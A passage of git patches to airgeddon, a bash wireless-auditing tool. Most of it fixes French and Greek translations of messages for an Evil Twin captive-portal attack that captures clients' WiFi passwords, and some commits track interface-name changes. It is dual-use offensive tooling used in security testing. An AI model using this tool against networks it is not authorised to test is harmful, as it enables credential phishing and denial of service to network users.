portal Evil Twin attack captured password" et_misc_texts["spanish",19]="Airgeddon. Contraseña capturada en el portal cautivo del ataque Evil Twin" - et_misc_texts["french",19]="Airgeddon. Mot de passe capturé sur le portail Evil Twin attaque captive" + et_misc_texts["french",19]="Airgeddon. Mot de passe capturé par le portail captif de l'attaque Evil Twin" et_misc_texts["catalan",19]="Airgeddon. Contrasenya capturada al portal captiu de l'atac Evil Twin" et_misc_texts["portuguese",19]="Airgeddon. Senha capturado no ataque Evil Twin portal cativo" et_misc_texts["russian",19]="Airgeddon. Пароль захватили на адаптивный портал Зла атаки Твин" @@ -429,7 +429,7 @@ function language_strings() { et_misc_texts["english",22]="Captured passwords on failed attemps" et_misc_texts["spanish",22]="Contraseñas capturadas en intentos fallidos" - et_misc_texts["french",22]="Les mots de passe saisis dans les tentatives infructueuses" + et_misc_texts["french",22]="Mots de passe capturés lors des tentatives infructueuses" et_misc_texts["catalan",22]="Contrasenyes capturades en intents fallits" et_misc_texts["portuguese",22]="Senhas capturadas em tentativas falhadas" et_misc_texts["russian",22]="Пароли, захваченные в неудачных попыток" @@ -453,7 +453,7 @@ function language_strings() { et_misc_texts["english",25]="Press Enter on the main script window to continue, this window will be closed" et_misc_texts["spanish",25]="Pulsa Enter en la ventana principal del script para continuar, esta ventana se cerrará" - et_misc_texts["french",25]="Appuyez sur Entrée dans la fenêtre principale du script de continuer, cette fenêtre se fermera" + et_misc_texts["french",25]="Appuyez sur Entrée dans la fenêtre principale du script pour continuer, cette fenêtre se fermera" et_misc_texts["catalan",25]="Prem Enter a la finestra principal del script per continuar, aquesta finestra es tancarà" et_misc_texts["portuguese",25]="Pressione Enter na janela principal do script para continuar, esta janela será fechada" et_misc_texts["russian",25]="Нажмите Enter в главном окне сценария для продолжения, это окно будет закрыто" @@ -3022,7 +3022,7 @@ function language_strings() { arr["english",320]="7. Greek" arr["spanish",320]="7. Griego" - arr["french",320]="7. Grecque" + arr["french",320]="7. Grec" arr["catalan",320]="7. Grec" arr["portuguese",320]="7. Grego" arr["russian",320]="7. греческий" @@ -3060,6 +3060,14 @@ function language_strings() { arr["russian",324]="Файл рукопожания успешно сгенерирован в ["${normal_color}"$et_handshake"${blue_color}"]" arr["greek",324]="Το αρχείο Χειραψίας δημιουργήθηκε επιτυχώς στο ["${normal_color}"$et_handshake"${blue_color}"]" + arr["english",325]="Wait. Be patient..." + arr["spanish",325]="Espera. Ten un poco de paciencia..." + arr["french",325]="$pending_of_translation Attendez. Ayez un peu de patience..." + arr["catalan",325]="$pending_of_translation Espera. Tingues una mica de paciència..." + arr["portuguese",325]="$pending_of_translation Esperar. Tenha um pouco de paciência..." + arr["russian",325]="$pending_of_translation Подождите. Имейте немного терпения..." + arr["greek",325]="$pending_of_translation Περιμένετε. Έχετε λίγη υπομονή..." + case "$3" in "yellow") interrupt_checkpoint ${2} ${3} @@ -4113,6 +4121,7 @@ function initialize_menu_and_print_selections() { return_to_et_main_menu=0 retry_handshake_capture=0 retrying_handshake_capture=0 + internet_interface_selected=0 et_mode="" et_processes=() print_iface_selected @@ -5487,6 +5496,7 @@ function set_control_script() { done fi + sleep 2 killall hostapd > /dev/null 2>&1 killall dhcpd > /dev/null 2>&1 killall aireplay-ng > /dev/null 2>&1 @@ -6477,6 +6487,8 @@ function capture_handshake_window() { echo language_strings ${language} 144 "yellow" language_strings ${language} 115 "read" + echo + language_strings ${language} 325 "blue" rm -rf ${tmpdir}"handshake"* > /dev/null 2>&1 recalculate_windows_sizes @@ -6706,13 +6718,13 @@ function et_prerequisites() { return_to_et_main_menu=1 return ;; - #fi esac else ask_et_handshake_file fi retry_handshake_capture=0 retrying_handshake_capture=0 + internet_interface_selected=0 check_bssid_in_captured_file "$et_handshake" if [ "$?" != "0" ]; then @@ -6882,6 +6894,10 @@ function et_dos_menu() { function detect_internet_interface() { + if [ ${internet_interface_selected} -eq 1 ]; then + return 0 + fi + if [ -n "$internet_interface" ]; then echo language_strings ${language} 285 "blue" @@ -7760,6 +7776,7 @@ function validate_et_internet_interface() { echo language_strings ${language} 289 "yellow" language_strings ${language} 115 "read" + internet_interface_selected=1 return 0 } From 9b6c14e35e67702c11fd557c8d9e62320a4780f9 Mon Sep 17 00:00:00 2001 From: oscarAkaElvis Date: Mon, 10 Oct 2016 01:50:50 +0200 Subject: [PATCH 11/23] Fix for interface name changing on some Linux like Suse. --- README.md | 2 +- airgeddon.sh | 65 ++++++++++++++++++++++++++++++++++++++++++++++++--- changelog.txt | 1 + 3 files changed, 64 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 28bf1a505..f7cb8b9f7 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ This is a multi-use bash script for Linux systems to audit wireless networks.
#Features -- Interface mode switcher (Monitor-Managed).
+- Interface mode switcher (Monitor-Managed) keeping selection even with interface name changing.
- DoS over wireless networks with different methods.
- Assisted Handshake file capture.
- Cleaning and optimizing Handshake captured files.
diff --git a/airgeddon.sh b/airgeddon.sh index c52d344af..00a1db496 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3267,6 +3267,53 @@ function execute_iwconfig_fix() { return $? } +function renew_ifaces_and_macs_list() { + + readarray -t IFACES_AND_MACS < <(ip link | egrep "^[0-9]+" | cut -d ':' -f 2 | awk {'print $1'} | grep lo -v | grep ${interface} -v) + declare -gA ifaces_and_macs + for iface_name in "${IFACES_AND_MACS[@]}"; do + ifaces_and_macs["$iface_name"]=$(ip link show ${iface_name} | awk '/link/ {print $2}') + done + + declare -gA ifaces_and_macs_switched + for iface_name in "${!ifaces_and_macs[@]}"; do + ifaces_and_macs_switched[${ifaces_and_macs[$iface_name]}]=${iface_name} + done +} + +function check_interface_coherence() { + + renew_ifaces_and_macs_list + interface_auto_change=0 + + interface_found=0 + for iface_name in "${!ifaces_and_macs[@]}"; do + if [ "$interface" = "$iface_name" ]; then + interface_found=1 + interface_mac=${ifaces_and_macs["$iface_name"]} + break + fi + done + + if [ ${interface_found} -eq 0 ]; then + for iface_mac in "${ifaces_and_macs[@]}"; do + iface_mac_tmp=${iface_mac:0:15} + interface_mac_tmp=${interface_mac:0:15} + if [ "$iface_mac_tmp" = "$interface_mac_tmp" ]; then + interface=${ifaces_and_macs_switched["$iface_mac"]} + interface_auto_change=1 + break + fi + done + fi + + if [ ${interface_auto_change} -eq 1 ]; then + return 1 + else + return 0 + fi +} + function prepare_et_monitor() { disable_rfkill @@ -3288,7 +3335,12 @@ function prepare_et_interface() { new_interface=$(${airmon} stop ${interface} 2> /dev/null | grep station) [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" if [ "$interface" != "$new_interface" ]; then - interface=${new_interface} + check_interface_coherence + if [ "$?" = "0" ]; then + interface=${new_interface} + fi + echo + language_strings ${language} 15 "yellow" fi fi } @@ -3339,9 +3391,12 @@ function managed_option() { [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" if [ "$interface" != "$new_interface" ]; then + check_interface_coherence + if [ "$?" = "0" ]; then + interface=${new_interface} + fi echo language_strings ${language} 15 "yellow" - interface=${new_interface} fi echo @@ -3381,9 +3436,12 @@ function monitor_option() { [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" if [ "$interface" != "$new_interface" ]; then + check_interface_coherence + if [ "$?" = "0" ]; then + interface=${new_interface} + fi echo language_strings ${language} 21 "yellow" - interface=${new_interface} fi echo @@ -3666,6 +3724,7 @@ function select_interface() { option_counter2=$[option_counter2 + 1] if [[ "$iface" = "$option_counter2" ]]; then interface=${item2} + interface_mac=$(ip link show ${interface} | awk '/ether/ {print $2}') break fi done diff --git a/changelog.txt b/changelog.txt index 0faa32499..1b0d29d67 100644 --- a/changelog.txt +++ b/changelog.txt @@ -2,6 +2,7 @@ Evil Twin attack added: captive portal Some language strings changed Now initial forwarding state is restored on exit +Fix for Linux which change interface name to a very different name while getting back to managed from monitor mode 4.22 Portuguese translation updated (Thank you to "Luan") From acd1b8efcaa7d18e6831862067d35d7465a65f1a Mon Sep 17 00:00:00 2001 From: xtonousou Date: Mon, 10 Oct 2016 03:01:23 +0300 Subject: [PATCH 12/23] Updated Greek translations [Evil Twin] --- airgeddon.sh | 94 ++++++++++++++++++++++++++-------------------------- 1 file changed, 47 insertions(+), 47 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index c52d344af..1bf05b327 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -289,7 +289,7 @@ function language_strings() { et_misc_texts["catalan",4]="Amb aquest atac has d'utilitzar un sniffer extern per intentar obtenir contrasenyes dels clients connectats a la xarxa" et_misc_texts["portuguese",4]="Com este ataque você tem que usar um sniffer externa para tentar obter as senhas dos clientes conectados à rede" et_misc_texts["russian",4]="С этой атакой вам нужно использовать внешний сниффер для попытки получить пароли клиентов, подключённых к сети" - et_misc_texts["greek",4]="Με αυτή την επίθεση θα πρέπει να χρησιμοποιήσετε έναν εξωτερικό sniffer για να μπορέσετε να υποκλέψετε κωδικούς από τους χρήστες που είναι συνδεδεμένοι στο δίκτυο" + et_misc_texts["greek",4]="Με αυτή την επίθεση θα πρέπει να χρησιμοποιήσετε έναν εξωτερικό sniffer για να μπορέσετε να υποκλέψετε κωδικούς πρόσβασης από τους χρήστες που είναι συνδεδεμένοι στο δίκτυο" et_misc_texts["english",5]="With this attack, watch the sniffer's screen to see if a password appears" et_misc_texts["spanish",5]="Con este ataque, estate atento a la pantalla del sniffer para ver si aparece alguna contraseña" @@ -297,7 +297,7 @@ function language_strings() { et_misc_texts["catalan",5]="Amb aquest atac, estigues atent a la pantalla de l'sniffer per veure si apareix alguna contrasenya" et_misc_texts["portuguese",5]="Com este ataque, cuidado com a tela aparece sniffer para ver se uma senha" et_misc_texts["russian",5]="С этой атакой смотрите на окно сниффера, чтобы следить за появлением пароля" - et_misc_texts["greek",5]="Με αυτή την επίθεση, παρακολουθήστε την οθόνη του sniffer για να δείτε αν εχει εμφανιστεί κάποιος κωδικός" + et_misc_texts["greek",5]="Με αυτή την επίθεση, παρακολουθήστε την οθόνη του sniffer για να δείτε αν εχει εμφανιστεί κάποιος κωδικός πρόσβασης" et_misc_texts["english",6]="With this attack, we'll wait for a network client to provide us with the password for the wifi network in our captive portal" et_misc_texts["spanish",6]="Con este ataque, esperaremos a que un cliente de la red nos provea de la contraseña de la red wifi en nuestro portal cautivo" @@ -305,7 +305,7 @@ function language_strings() { et_misc_texts["catalan",6]="Amb aquest atac, esperarem que un client de la xarxa ens proveeixi de la contrasenya de la xarxa wifi al nostre portal captiu" et_misc_texts["portuguese",6]="Com este ataque, vamos esperar por um cliente de rede nos fornecer a senha para a rede wifi no nosso portal cativo" et_misc_texts["russian",6]="С этой атакой вы будете ожидать, чтобы сетевые клиенты ввели пароль для Wi-Fi сети на нашем перехватывающем портале" - et_misc_texts["greek",6]="Με αυτή την επίθεση, θα περιμένουμε για έναν χρήστη του δικτύου να μας παρέχει με τον κωδικό του wifi στην πύλη αιχμάλωσίας" + et_misc_texts["greek",6]="Με αυτή την επίθεση, θα περιμένουμε για έναν χρήστη του δικτύου να μας παρέχει με τον κωδικό πρόσβασης του wifi στο captive portal μας" et_misc_texts["english",7]="No clients connected yet" et_misc_texts["spanish",7]="No hay clientes conectados aún" @@ -321,7 +321,7 @@ function language_strings() { et_misc_texts["catalan",8]="Airgeddon. Contrasenyes capturades amb atac Evil Twin" et_misc_texts["portuguese",8]="Airgeddon. Senhas capturado no ataque ataque Evil Twin" et_misc_texts["russian",8]="Airgeddon. Атака Злой Двойник захватила пароли" - et_misc_texts["greek",8]="Airgeddon. Η επίθεση Evil Twin κατέγραψε κωδικούς" + et_misc_texts["greek",8]="Airgeddon. Η επίθεση Evil Twin κατέγραψε κωδικούς πρόσβασης" et_misc_texts["english",9]="Wireless network, ESSID:" et_misc_texts["spanish",9]="Red inalámbrica, ESSID:" @@ -329,7 +329,7 @@ function language_strings() { et_misc_texts["catalan",9]="Xarxa sense fils, ESSID:" et_misc_texts["portuguese",9]="Rede sem fio, ESSID:" et_misc_texts["russian",9]="беспроводная сеть, ESSID:" - et_misc_texts["greek",9]="Ασύρματο Δίκτυο ESSID:" + et_misc_texts["greek",9]="Ασύρματο Δίκτυο, ESSID:" et_misc_texts["english",10]="Enter your wireless network password to get internet access" et_misc_texts["spanish",10]="Introduzca su contraseña de acceso a la red inalámbrica para poder acceder a internet" @@ -337,7 +337,7 @@ function language_strings() { et_misc_texts["catalan",10]="Introduïu la contrasenya d'accés a la xarxa sense fils per poder accedir a internet" et_misc_texts["portuguese",10]="Digite sua senha de acesso de rede asa sem fio para acesso à internet" et_misc_texts["russian",10]="Введите свой беспроводной доступ к сети Интернет доступа пароль крыло" - et_misc_texts["greek",10]="Εισάγετε ασύρματη πρόσβαση στο κωδικό πρόσβασης δικτύου πτέρυγα σας να έχουν πρόσβαση στο διαδίκτυο" + et_misc_texts["greek",10]="Εισάγετε τον κωδικό πρόσβασης του wifi δικτύου σας για να υπάρξει σύνδεση στο διαδίκτυο" et_misc_texts["english",11]="Password" et_misc_texts["spanish",11]="Contraseña" @@ -345,7 +345,7 @@ function language_strings() { et_misc_texts["catalan",11]="Contrasenya" et_misc_texts["portuguese",11]="Senha" et_misc_texts["russian",11]="пароль" - et_misc_texts["greek",11]="κωδικό πρόσβασης" + et_misc_texts["greek",11]="Κωδικός πρόσβασης" et_misc_texts["english",12]="Show password" et_misc_texts["spanish",12]="Mostrar contraseña" @@ -361,7 +361,7 @@ function language_strings() { et_misc_texts["catalan",13]="Enviar" et_misc_texts["portuguese",13]="Enviar" et_misc_texts["russian",13]="послать" - et_misc_texts["greek",13]="Υποτάσσομαι" + et_misc_texts["greek",13]="Υποβολή" et_misc_texts["english",14]="An unexpected error occurred, redirecting to the main screen" et_misc_texts["spanish",14]="Ha ocurrido un error inesperado, redirigiendo a la pantalla principal" @@ -369,7 +369,7 @@ function language_strings() { et_misc_texts["catalan",14]="Hi ha hagut un error inesperat, redirigint a la pantalla principal" et_misc_texts["portuguese",14]="Ocorreu um erro inesperado, redirecionando para a tela principal" et_misc_texts["russian",14]="Произошла неожиданная ошибка, перенаправлять на главный экран" - et_misc_texts["greek",14]="Παρουσιάστηκε μη αναμενόμενο σφάλμα, τον αναπροσανατολισμό προς την κύρια οθόνη" + et_misc_texts["greek",14]="Παρουσιάστηκε μη αναμενόμενο σφάλμα, Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["english",15]="Internet Portal" et_misc_texts["spanish",15]="Portal de Internet" @@ -377,7 +377,7 @@ function language_strings() { et_misc_texts["catalan",15]="Portal d'Internet" et_misc_texts["portuguese",15]="Portal Internet" et_misc_texts["russian",15]="Интернет-портал" - et_misc_texts["greek",15]="Διαδικτυακή πύλη" + et_misc_texts["greek",15]="Internet Portal" et_misc_texts["english",16]="The password must be at least 8 characters" et_misc_texts["spanish",16]="La contraseña debe tener al menos 8 caracteres" @@ -393,7 +393,7 @@ function language_strings() { et_misc_texts["catalan",17]="La contrasenya introduïda és incorrecta, redirigint a la pantalla principal" et_misc_texts["portuguese",17]="A senha está incorreta, redirecionando para a tela principal" et_misc_texts["russian",17]="Неверный пароль, перенаправление на главный экран" - et_misc_texts["greek",17]="Ο κωδικός πρόσβασης είναι λανθασμένος, τον αναπροσανατολισμό προς την κύρια οθόνη" + et_misc_texts["greek",17]="Ο κωδικός πρόσβασης είναι λανθασμένος, Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["english",18]="The password is correct, the connection will be restablished in a few moments" et_misc_texts["spanish",18]="La contraseña es correcta, la conexión se restablecerá en unos momentos" @@ -401,7 +401,7 @@ function language_strings() { et_misc_texts["catalan",18]="La contrasenya és correcta, la connexió es restablirà en uns moments" et_misc_texts["portuguese",18]="A senha está correta, a conexão será estabelecida em alguns momentos" et_misc_texts["russian",18]="Пароль правильный, то соединение будет установлено через несколько минут" - et_misc_texts["greek",18]="Ο κωδικός πρόσβασης είναι σωστός, η σύνδεση θα δημιουργηθεί σε λίγα λεπτά" + et_misc_texts["greek",18]="Ο κωδικός πρόσβασης είναι σωστός, η σύνδεση θα αποκατασταθεί σε λίγα λεπτά" et_misc_texts["english",19]="Airgeddon. Captive portal Evil Twin attack captured password" et_misc_texts["spanish",19]="Airgeddon. Contraseña capturada en el portal cautivo del ataque Evil Twin" @@ -409,7 +409,7 @@ function language_strings() { et_misc_texts["catalan",19]="Airgeddon. Contrasenya capturada al portal captiu de l'atac Evil Twin" et_misc_texts["portuguese",19]="Airgeddon. Senha capturado no ataque Evil Twin portal cativo" et_misc_texts["russian",19]="Airgeddon. Пароль захватили на адаптивный портал Зла атаки Твин" - et_misc_texts["greek",19]="Airgeddon. Κωδικός πρόσβασης συλληφθεί για την αιχμαλωσία πύλη Evil Twin επίθεση" + et_misc_texts["greek",19]="Airgeddon. Η επίθεση Evil Twin με captive portal κατέγραψε τον κωδικό πρόσβασης" et_misc_texts["english",20]="Attempts" et_misc_texts["spanish",20]="Intentos" @@ -417,7 +417,7 @@ function language_strings() { et_misc_texts["catalan",20]="Intents" et_misc_texts["portuguese",20]="Tries" et_misc_texts["russian",20]="пытается" - et_misc_texts["greek",20]="προσπαθεί" + et_misc_texts["greek",20]="Προσπάθειες" et_misc_texts["english",21]="last password:" et_misc_texts["spanish",21]="última contraseña:" @@ -425,7 +425,7 @@ function language_strings() { et_misc_texts["catalan",21]="última contrasenya:" et_misc_texts["portuguese",21]="última senha:" et_misc_texts["russian",21]="последний пароль:" - et_misc_texts["greek",21]="τελευταία κωδικό:" + et_misc_texts["greek",21]="τελευταίος κωδικός πρόσβασης:" et_misc_texts["english",22]="Captured passwords on failed attemps" et_misc_texts["spanish",22]="Contraseñas capturadas en intentos fallidos" @@ -433,7 +433,7 @@ function language_strings() { et_misc_texts["catalan",22]="Contrasenyes capturades en intents fallits" et_misc_texts["portuguese",22]="Senhas capturadas em tentativas falhadas" et_misc_texts["russian",22]="Пароли, захваченные в неудачных попыток" - et_misc_texts["greek",22]="Οι κωδικοί πρόσβασης δεν σταματούν σε αποτυχημένες προσπάθειες" + et_misc_texts["greek",22]="Καταγεγραμμένοι κωδικοί πρόσβασης σε αποτυχημένες προσπάθειες" et_misc_texts["english",23]="Password captured successfully" et_misc_texts["spanish",23]="Contraseña capturada con éxito" @@ -441,7 +441,7 @@ function language_strings() { et_misc_texts["catalan",23]="Contrasenya capturada amb èxit" et_misc_texts["portuguese",23]="Senha capturada com sucesso" et_misc_texts["russian",23]="Пароль успешно захватили" - et_misc_texts["greek",23]="Κωδικός πρόσβασης κατέλαβε με επιτυχία" + et_misc_texts["greek",23]="Ο κωδικός πρόσβασης καταγράφτηκε επιτυχώς" et_misc_texts["english",24]="The password was saved on file" et_misc_texts["spanish",24]="La contraseña se ha guardado en el fichero" @@ -449,7 +449,7 @@ function language_strings() { et_misc_texts["catalan",24]="La contrasenya s'ha guardat en el fitxer" et_misc_texts["portuguese",24]="A senha é guardada no arquivo" et_misc_texts["russian",24]="Пароль сохраняется в файле" - et_misc_texts["greek",24]="Ο κωδικός πρόσβασης αποθηκεύεται στο αρχείο" + et_misc_texts["greek",24]="Ο κωδικός πρόσβασης αποθηκεύτηκε σε αρχείο" et_misc_texts["english",25]="Press Enter on the main script window to continue, this window will be closed" et_misc_texts["spanish",25]="Pulsa Enter en la ventana principal del script para continuar, esta ventana se cerrará" @@ -457,7 +457,7 @@ function language_strings() { et_misc_texts["catalan",25]="Prem Enter a la finestra principal del script per continuar, aquesta finestra es tancarà" et_misc_texts["portuguese",25]="Pressione Enter na janela principal do script para continuar, esta janela será fechada" et_misc_texts["russian",25]="Нажмите Enter в главном окне сценария для продолжения, это окно будет закрыто" - et_misc_texts["greek",25]="Πατήστε Enter στο κύριο παράθυρο του σεναρίου για να συνεχίσει, αυτό το παράθυρο θα κλείσει" + et_misc_texts["greek",25]="Πατήστε Enter στο κύριο παράθυρο του script για να συνεχίσετε, το παράθυρο αυτό θα κλείσει" declare -A arr arr["english",0]="This interface $interface is already in managed mode" @@ -1282,7 +1282,7 @@ function language_strings() { arr["catalan",102]="Menú d'atacs DoS" arr["portuguese",102]="Menu de ataques DoS" arr["russian",102]="Меню DoS атак" - arr["greek",102]="Μενού DoS επιθέσεων" + arr["greek",102]="Μενού επιθέσεων DoS" arr["english",103]="Exploring for targets" arr["spanish",103]="Explorar para buscar objetivos" @@ -1410,7 +1410,7 @@ function language_strings() { arr["catalan",118]="4. Menú d'atacs DoS" arr["portuguese",118]="4. Menu de ataques DoS" arr["russian",118]="4. Меню DoS атак" - arr["greek",118]="4. Μενού DoS επιθέσεων" + arr["greek",118]="4. Μενού επιθέσεων DoS" arr["english",119]="5. Handshake tools menu" arr["spanish",119]="5. Menú de herramientas Handshake" @@ -1898,7 +1898,7 @@ function language_strings() { arr["catalan",179]="Desencriptant per força bruta, podrien passar hores, dies, setmanes o fins i tot mesos fins a aconseguir-ho depenent de la complexitat de la contrasenya i de la teva velocitat de procés" arr["portuguese",179]="Descriptografar com força bruta pode levar horas, dias, semanas ou mesmo meses dependendo da complexidade de sua senha e velocidade de processamento" arr["russian",179]="Расшифровка грубой силой может занять часы, дни, недели или даже месяцы в зависимости от сложности пароля и вашей скорости обработки" - arr["greek",179]="Αποκρυπτογραφώντας με χρήση ωμής βίας, μπορεί να περάσουν ώρες, μέρες, εβδομάδες ή ακόμη και μήνες για να το αποκτήσετε έχοντας υπόψιν την πολυπλοκότητα του κωδικού και την ταχύτητα του επεξεργαστή" + arr["greek",179]="Αποκρυπτογραφώντας με χρήση ωμής βίας, μπορεί να περάσουν ώρες, μέρες, εβδομάδες ή ακόμη και μήνες για να το αποκτήσετε έχοντας υπόψιν την πολυπλοκότητα του κωδικού πρόσβασης και την ταχύτητα του επεξεργαστή" arr["english",180]="Enter the path of a dictionary file :" arr["spanish",180]="Introduce la ruta de un fichero de diccionario :" @@ -2186,7 +2186,7 @@ function language_strings() { arr["catalan",215]="Una contrasenya WPA/WPA2 sempre té com a mínim una longitud de 8" arr["portuguese",215]="Uma senha WPA/WPA2 sempre tem no mínimo 8 caracteres" arr["russian",215]="WPA/WPA2 пароли всегда имеют длину минимум в 8 символов" - arr["greek",215]="οι κωδικοί WPA/WPA2 έχουν πάντα ελάχιστο μήκος 8" + arr["greek",215]="οι κωδικοί πρόσβασης WPA/WPA2 έχουν πάντα ελάχιστο μήκος 8" arr["english",216]="No networks found with Handshake captured on the selected file" arr["spanish",216]="No se encontraron redes con Handshake capturado en el fichero seleccionado" @@ -2346,7 +2346,7 @@ function language_strings() { arr["catalan",235]="¿Vols desar el fitxer de trofeu amb la clau desencriptada? "${normal_color}"[y/n]" arr["portuguese",235]="Você quer salvar arquivo com a senha descriptografado?? "${normal_color}"[y/n]" arr["russian",235]="Вы хотите сохранить трофейный файл с расшифрованным паролем? "${normal_color}"[y/n]" - arr["greek",235]="Θέλετε να αποθηκεύσετε το αρχείο τρόπαιο με το αποκρυπτογραφημένο κλειδί? "${normal_color}"[y/n]" + arr["greek",235]="Θέλετε να αποθηκεύσετε το αρχείο τρόπαιο με τον αποκρυπτογραφημένο κωδικό πρόσβασης? "${normal_color}"[y/n]" arr["english",236]="Hashcat trophy file generated successfully at ["${normal_color}"$potenteredpath"${blue_color}"]" arr["spanish",236]="Fichero de trofeo hashcat generado con éxito en ["${normal_color}"$potenteredpath"${blue_color}"]" @@ -2562,7 +2562,7 @@ function language_strings() { arr["catalan",262]="sense sniffing, portal captiu" arr["portuguese",262]="Sem sniffing, portal cativo" arr["russian",262]="без сниффинга, перехватывающий портал" - arr["greek",262]="χωρίς sniffing, αιχμαλωσία πύλης" + arr["greek",262]="χωρίς sniffing, captive portal" arr["english",263]="8. Evil Twin AP attack with captive portal (monitor mode needed)" arr["spanish",263]="8. Ataque Evil Twin AP con portal cautivo (modo monitor requerido)" @@ -2570,7 +2570,7 @@ function language_strings() { arr["catalan",263]="8. Atac Evil Twin AP amb portal captiu (es requereix mode monitor)" arr["portuguese",263]="8. Ataque Evil Twin AP com portal cativo (modo monitor obrigatório)" arr["russian",263]="8. Атака Злой Двойник ТД с перехватывающим порталом (необходим режим монитора)" - arr["greek",263]="8. Επίθεση Evil Twin AP με αιχμαλωσία πύλης (χρειάζεται η κατάσταση παρακολούθησης)" + arr["greek",263]="8. Επίθεση Evil Twin AP με captive portal (χρειάζεται η κατάσταση παρακολούθησης)" arr["english",264]="The captive portal attack tries to one of the network clients provide us the password for the wifi network by entering it on our portal" arr["spanish",264]="El ataque del portal cautivo intentará conseguir que uno de los clientes de la red nos proporcione la contraseña de la red wifi introduciéndola en nuestro portal" @@ -2578,7 +2578,7 @@ function language_strings() { arr["catalan",264]="L'atac de portal captiu intenta aconseguir que un dels clients de la xarxa ens proporcioni la contrasenya de la xarxa wifi introduint-la al nostre portal" arr["portuguese",264]="O ataque com portal cativo tenta fazer com que um dos clientes da rede nos forneça a senha da rede sem fio digitando-o em nosso site" arr["russian",264]="Атака с перехватывающим порталом заключается в том, что мы ждём когда кто-то из пользователей введёт верный пароль от Wi-Fi на веб-странице, которую мы ему показываем" - arr["greek",264]="Η επίθεση με αιχμαλωσία πύλης κάνει έναν από τους χρήστες του δικτύου να μας παρέχει τον κωδικό του δικτύου wifi βάζοντάς τον στην πύλη" + arr["greek",264]="Η επίθεση captive portal κάνει έναν από τους χρήστες του δικτύου να μας παρέχει τον κωδικό πρόσβασης του δικτύου wifi βάζοντάς τον στο portal μας" arr["english",265]="Evil Twin deauth" arr["spanish",265]="Desautenticación para Evil Twin" @@ -2754,7 +2754,7 @@ function language_strings() { arr["catalan",286]="$pending_of_translation Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-lo ara" arr["portuguese",286]="$pending_of_translation Se você não tem uma rede alvo capturado arquivo Handshake você pode obtê-lo agora" arr["russian",286]="$pending_of_translation Если вы не имеете рукопожатия файл захваченный целевой сети вы можете получить его прямо сейчас" - arr["greek",286]="$pending_of_translation Εάν δεν έχετε ένα αρχείο χειραψία συλλαμβάνονται από το δίκτυο στόχος μπορεί να το πάρει τώρα" + arr["greek",286]="Εάν δεν έχετε κάποιο αρχείο Χειραψίας από το δίκτυο-στόχος μπορείτε να το πάρετε τώρα" arr["english",287]="The script will check for internet access. Please be patient..." arr["spanish",287]="El script va a comprobar si tienes acceso a internet. Por favor ten paciencia..." @@ -2762,7 +2762,7 @@ function language_strings() { arr["catalan",287]="El script comprovarà si tens accés a internet. Si us plau sigues pacient..." arr["portuguese",287]="O script irá verificar se você tem acesso à internet. Por favor,aguarde..." arr["russian",287]="Этот скрипт проверит Интернет доступ. Подождите немного..." - arr["greek",287]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο. Παρακαλώ κάντε υπομονή..." + arr["greek",287]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο. Παρακαλώ έχετε λίγη υπομονή..." arr["english",288]="It seems you have no internet access. This attack needs an interface with internet access" arr["spanish",288]="Parece que no tienes conexión a internet. Este ataque necesita una interfaz con acceso a internet" @@ -2810,7 +2810,7 @@ function language_strings() { arr["catalan",293]="Atac Evil Twin AP amb portal captiu" arr["portuguese",293]="Ataque Evil Twin AP com portal cativo" arr["russian",293]="Атака Злой Двойник ТД с перехватывающим порталом" - arr["greek",293]="Επίθεση Evil Twin AP με αιχμαλωσία πύλης" + arr["greek",293]="Επίθεση Evil Twin AP με captive portal" arr["english",294]="Detecting resolution... Detected! : "${normal_color}"$resolution" arr["spanish",294]="Detectando resolución... Detectada! : "${normal_color}"$resolution" @@ -2882,7 +2882,7 @@ function language_strings() { arr["catalan",302]="¿Vols guardar en un fitxer les contrasenyes obtingudes del sniffing? "${blue_color}"Si respons que no (\"n\") només es mostraran per pantalla "${normal_color}"[y/n]" arr["portuguese",302]="Você deseja armazenar em um arquivo as senhas obtidas com o sniffer? "${blue_color}"Se você responder não (\"n\") só será mostrado na tela "${normal_color}"[y/n]" arr["russian",302]="Вы хотите сохранить в файл захваченные сниффингом пароли? "${blue_color}"Если ваш ответ нет (\"n\") они будут только показаны на экране "${normal_color}"[y/n]" - arr["greek",302]="Θέλετε να αποθηκεύσετε σε ένα αρχείο τους sniffed κωδικούς? "${blue_color}"Αν απαντήσετε όχι (\"n\") απλά θα εμφανιστούν στην οθόνη "${normal_color}"[y/n]" + arr["greek",302]="Θέλετε να αποθηκεύσετε σε ένα αρχείο τους sniffed κωδικούς πρόσβασης? "${blue_color}"Αν απαντήσετε όχι (\"n\") απλά θα εμφανιστούν στην οθόνη "${normal_color}"[y/n]" arr["english",303]="Type the path to store the file or press Enter to accept the default proposal "${normal_color}"[$default_ettercap_logpath]" arr["spanish",303]="Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$default_ettercap_logpath]" @@ -2906,7 +2906,7 @@ function language_strings() { arr["catalan",305]="No s'ha trobat cap contrasenya en el log del sniffer. No es guarda el fitxer" arr["portuguese",305]="Nenhuma senha foi encontrada no log do sniffer. Arquivo não será salvo" arr["russian",305]="В журнале сниффера паролей не обнаружено. Файл не будет сохранён" - arr["greek",305]="Δεν εντοπίστηκαν κωδικοί στο log του sniffer. Το αρχείο δεν θα αποθηκευτεί" + arr["greek",305]="Δεν εντοπίστηκαν κωδικοί πρόσβασης στο log του sniffer. Το αρχείο δεν θα αποθηκευτεί" arr["english",306]="Passwords captured by sniffer. File saved at "${normal_color}"[$ettercap_logpath]" arr["spanish",306]="El sniffer ha capturado contraseñas. Fichero salvado en "${normal_color}"[$ettercap_logpath]" @@ -2914,7 +2914,7 @@ function language_strings() { 